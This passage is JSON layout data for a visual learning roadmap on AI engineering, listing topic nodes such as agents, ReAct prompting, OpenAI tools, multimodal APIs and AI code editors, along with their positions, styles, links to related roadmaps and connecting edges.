533.3795624782034,\n        \"y\": 2739.3420928710716\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pqnC9N-AUKg0vjKzuCNqd\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 516.5,\n        \"y\": 2354.715898273103\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RAG Alternative\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 516.5,\n        \"y\": 2354.715898273103\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"778HsQzTuJ_3c9OSn5DmH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 405.1180805793284,\n        \"y\": 2527.2038885388165\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Agents Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6xaRB34_g0HGt-y1dGYXR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 405.1180805793284,\n        \"y\": 2527.2038885388165\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BRdKYsyWaHg6kJA62mLNO\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 405.1180805793284,\n        \"y\": 2580.2038885388165\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Prompt Engineering\",\n        \"href\": \"https://roadmap.sh/prompt-engineering\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 405.1180805793284,\n        \"y\": 2580.2038885388165\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"voDKcKvXtyLzeZdx2g3Qn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 405.1180805793284,\n        \"y\": 2633.2038885388165\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ReAct Prompting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6xaRB34_g0HGt-y1dGYXR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 405.1180805793284,\n        \"y\": 2633.2038885388165\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6xaRB34_g0HGt-y1dGYXR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 848.3202732289765,\n        \"y\": 2706.1704183412\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Manual Implementation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 848.3202732289765,\n        \"y\": 2706.1704183412\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Sm0Ne5Nx72hcZCdAcC0C2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 848.3202732289765,\n        \"y\": 2759.1704183412\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"OpenAI Functions / Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 848.3202732289765,\n        \"y\": 2759.1704183412\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mbp2NoL-VZ5hZIIblNBXt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 848.3202732289765,\n        \"y\": 2812.1704183412\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"OpenAI Assistant API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 848.3202732289765,\n        \"y\": 2812.1704183412\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8DMSxbdBT5el9ECZE2EGx\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 910.3202732289765,\n        \"y\": 2666.47564929518\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Building AI Agents\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 910.3202732289765,\n        \"y\": 2666.47564929518\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"W7cKPt_UxcUgwp8J6hS4p\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 533.3795624782034,\n        \"y\": 2942.715898273103\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Multimodal AI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 533.3795624782034,\n        \"y\": 2942.715898273103\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sGR9qcro68KrzM8qWxcH8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 65.4565453870415,\n        \"y\": 2942.715898273103\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Multimodal AI Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 65.4565453870415,\n        \"y\": 2942.715898273103\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fzVq4hGoa2gdbIzoyY1Zp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 72.99859239597538,\n        \"y\": 3005.4007482223487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Image Understanding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 72.99859239597538,\n        \"y\": 3005.4007482223487\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"49BWxYVFpIgZCCqsikH7l\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 72.99859239597538,\n        \"y\": 3058.4007482223487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Image Generation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 72.99859239597538,\n        \"y\": 3058.4007482223487\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TxaZCtTCTUfwCxAJ2pmND\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 72.99859239597538,\n        \"y\": 3111.4007482223487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Video Understanding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 72.99859239597538,\n        \"y\": 3111.4007482223487\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mxQYB820447DC6kogyZIL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 72.99859239597538,\n        \"y\": 3164.4007482223487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Audio Processing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 72.99859239597538,\n        \"y\": 3164.4007482223487\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GCERpLz5BcRtWPpv-asUz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 72.99859239597538,\n        \"y\": 3217.4007482223487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Text-to-Speech\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 72.99859239597538,\n        \"y\": 3217.4007482223487\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jQX10XKd_QM5wdQweEkVJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 72.99859239597538,\n        \"y\": 3270.4007482223487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Speech-to-Text\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 72.99859239597538,\n        \"y\": 3270.4007482223487\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"chm2xTFPJKW0dubKGjq-2\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 119.99859239597538,\n        \"y\": 3330.4007482223487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Multimodal AI Tasks\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 169,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 119.99859239597538,\n        \"y\": 3330.4007482223487\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"CRrqa-dBw1LlOwVbrZhjK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 845.4985923959754,\n        \"y\": 2930.9007482223487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"OpenAI Vision API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 292,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 845.4985923959754,\n        \"y\": 2930.9007482223487\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LKFwwjtcawJ4Z12X102Cb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 845.4985923959754,\n        \"y\": 2983.9007482223487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"DALL-E API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 292,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 845.4985923959754,\n        \"y\": 2983.9007482223487\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OTBd6cPUayKaAM-fLWdSt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 845.4985923959754,\n        \"y\": 3036.9007482223487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Whisper API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 292,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 845.4985923959754,\n        \"y\": 3036.9007482223487\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EIDbwbdolR_qsNKVDla6V\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 845.4985923959754,\n        \"y\": 3089.9007482223487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Hugging Face Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 292,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 845.4985923959754,\n        \"y\": 3089.9007482223487\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"j9zD3pHysB1CBhLfLjhpD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 845.4985923959754,\n        \"y\": 3142.9007482223487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"LangChain for Multimodal Apps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 292,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 845.4985923959754,\n        \"y\": 3142.9007482223487\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"akQTCKuPRRelj2GORqvsh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 845.4985923959754,\n        \"y\": 3195.9007482223487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"LlamaIndex for Multimodal Apps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 292,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 845.4985923959754,\n        \"y\": 3195.9007482223487\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5hCv_2FQNIgQC4XLW4AYs\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 875.9985923959754,\n        \"y\": 3255.9007482223487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Implementing Multimodal AI\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 875.9985923959754,\n        \"y\": 3255.9007482223487\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 36\n      }\n    },\n    {\n      \"width\": 460,\n      \"height\": 119,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 452.1429505186827,\n        \"y\": 3390.969159826914\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Continue learning with following relevant tracks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 452.1429505186827,\n        \"y\": 3390.969159826914\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 460,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 460,\n        \"height\": 119\n      }\n    },\n    {\n      \"width\": 229,\n      \"height\": 49,\n      \"id\": \"OIcmPSbdsuWapb6HZ4BEi\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 466.1567530029688,\n        \"y\": 3445.1148172600238\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI & Data Scientist\",\n        \"href\": \"https://roadmap.sh/ai-data-scientist\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"cmSSwPPiiHwYh9ct14N6A\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 466.1567530029688,\n        \"y\": 3445.1148172600238\n      },\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 85,\n      \"id\": \"RLtk1C3gofHnLJ17x3o5b\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 671.6429505186827,\n        \"y\": 3513.969159826914\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"ExXFPDHXtcOMcvZttzxvD\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 671.6429505186827,\n        \"y\": 3513.969159826914\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 85\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 85\n      }\n    },\n    {\n      \"width\": 200,\n      \"height\": 49,\n      \"id\": \"-sFboM4eFUMVq1tlPl-fV\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 699.9869736111889,\n        \"y\": 3445.1148172600238\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Prompt Engineering\",\n        \"href\": \"https://roadmap.sh/prompt-engineering\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"qXKNK_IsGS8-JgLK-Q9oU\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 699.9869736111889,\n        \"y\": 3445.1148172600238\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NYge7PNtfI-y6QWefXJ4d\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 533.3795624782034,\n        \"y\": 3281.4007482223487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Development Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"W7cKPt_UxcUgwp8J6hS4p\"\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 533.3795624782034,\n        \"y\": 3281.4007482223487\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XcKeQfpTA5ITgdX51I4y-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 423.1375395659161,\n        \"y\": 3135.6475050579174\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI Code Editors\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 423.1375395659161,\n        \"y\": 3135.6475050579174\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TifVhqFm1zXNssA8QR3SM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 423.1375395659161,\n        \"y\": 3189.6475050579174\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Code Completion Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"XcKeQfpTA5ITgdX51I4y-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 423.1375395659161,\n        \"y\": 3189.6475050579174\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8tcMfca2q2_6M-KmzmaT1\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 72.27752658021029,\n        \"y\": 142.3328638669464\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Scrimba - AI Engineer Path\",\n        \"href\": \"https://v2.scrimba.com/the-ai-engineer-path-c02v?via=roadmap\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 361,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 361,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 72.27752658021029,\n        \"y\": 142.3328638669464\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 361,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NxOYVBCLCLZ1wtGAGEn5W\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": 62.71396345748872,\n        \"y\": 225.90074822234897\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"sk9lcGKC3DnpMWEn73SUX\",\n            \"label\": \"AI and Data Scientist Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/ai-data-scientist\"\n          },\n          {\n            \"id\": \"quj9EG47r_g7lvwZXil4j\",\n            \"label\": \"Prompt Engineering\",\n            \"url\": \"https://roadmap.sh/prompt-engineering\"\n          },\n          {\n            \"id\": \"7QOvFxjjApFOP5S9nkYf4\",\n            \"label\": \"Data Analyst Roadamp\",\n            \"url\": \"https://roadmap.sh/data-analyst\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 389,\n      \"height\": 160,\n      \"positionAbsolute\": {\n        \"x\": 62.71396345748872,\n        \"y\": 225.90074822234897\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 389,\n        \"height\": 160\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 389,\n        \"height\": 160\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"XX0I26JoVMVXIe_7bVMix\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"GN6SnI7RXIeW8JeD-qORW\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-_hYN0gEi9BL24nptEtXWUz2-GN6SnI7RXIeW8JeD-qORWy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"jSZ1LhPdhlkW-9QJhIvFs\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      